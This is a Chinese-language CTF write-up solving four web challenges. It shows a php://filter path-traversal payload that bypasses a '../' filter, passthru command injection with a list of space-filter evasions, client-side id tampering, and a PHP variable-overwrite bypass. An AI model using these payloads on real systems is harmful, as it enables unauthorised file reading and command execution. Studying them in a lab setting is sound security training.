1.WEB 签到题
1.启动实例。
2.查看网页源代码。
给了提示是承认是个弟弟吧。
3.抓个包看看怎么个事。
看到了一个didi,联想到给的提示,改成yes后放包。
4.放包后发现出现了新的内容,使用base64解码。
5.进入解码后的路径。
看代码可以知道过滤了../
简单绕过一下:
?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag
前一个输入三个.一个/过滤后剩一个.与后面的./拼接。
发现了include_once()函数,拼接php字符进行文件包含。
6.继续,base64解码后得到flag。
2.WEB 简单RCE
1.进入网页查看代码。
根据代码得到的信息:使用get传递一个参数sys,post传递一个yyds参数,并且值为666。
但是很多命令都被限制了,需要想办法绕过。
?sys=passthru("ls%09/");
yyds=666
passthru() :执行一个命令,并将输出直接发送到输出缓冲区,因此可以将命令的输出作为HTTP响应直接发送给客户端(可替换system)。
空格绕过:<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
2.根据代码尝试绕过,查看根目录下的内容,发现了flag。
3.想办法继续构造url,获取最终flag。
?sys=passthru("sort%09/flag");
yyds=666
cat—链接文件并打印到标准输出。
sort—给文本行排序.这个 sort 对标准输入的文本、一个或多个文件进行排序,然后输出到标准输出。不会对原文件产生影响。
3. WEB 蜜雪冰城吉警店
1.进入页面发现需要点到第9个隐藏款才给flag,但是一共8个不同种类。
2.检查网页源代码。
查看到每一种奶茶的id,而且是可以修改的!选择其中一种奶茶把id改成9。
3.保存修改后的id,再去点击id修改为9的那款奶茶,获得flag。
4.WEB 到底给不给flag呢
1.打开页面发现是代码审计。
明面上给的flag是一个虚假的flag,提交发现是错误的。
读代码读起来确实是绕啊!!!
所以接下来慢慢分析代码。
2.分析代码:
// 判断$_GET和$_POST数组是否包含'flag'键
// 如果都不包含,则输出$qwq变量的内容:我想要flag,并终止脚本运行
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}
// 判断$_POST或$_GET数组中的'flag'键的值是否等于'flag'
// 如果等于,则输出$QAQ变量的内容:我又不想要flag了,滚吧,并终止脚本运行
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}
接着再往下foreach部分就存在问题了。
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
看了一篇博客中举了一个变量覆盖的例子,很容易理解:
<?php
$a = "hello";
echo "$a"; //输出hello
$$a="world";
echo "$a"; //输出hello
echo "$$a"; //输出world
echo "$a ${$a}"; //输出hello world
echo "$a $hello"; //输出hello world
?>
所以需要先输入a=flag,这样就有了$a=$flag,再输入flag=a,把flag值拿回来。
3.传参:
?a=flag&flag=a
藏在网页的源代码中,得到Flag。